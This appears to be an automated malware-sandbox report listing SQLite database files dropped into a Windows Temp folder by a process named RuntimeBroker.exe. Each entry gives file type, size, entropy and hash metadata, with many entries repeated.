SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CAD63IxHE7

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CAE9o3RTQS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CFY0xZ7niq

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CJsc0Tht8v

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CKePjIJ078

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cdas3eanIZ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ChqHBbNRfC

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Chu07TDmSi

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Ckdvf5Ume2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DE9IBOQRt2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DiR8gVEqKU

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DtLRskbviS

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Dv5Mnas1l7

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E2wJX9UsV2

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E9ry4a3Vz7

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EFclaCazw1

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ExC2v4LvZF

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FEoTEnMr4j

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FH9wIHsZ05

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FSezEHI15w

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GarXfclraJ

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GoiinLUV89

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HGjYG92ecN

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HOoF8x22o9

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HVMMrNJ70C

Download File

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HY6dAr7jLp

Download File

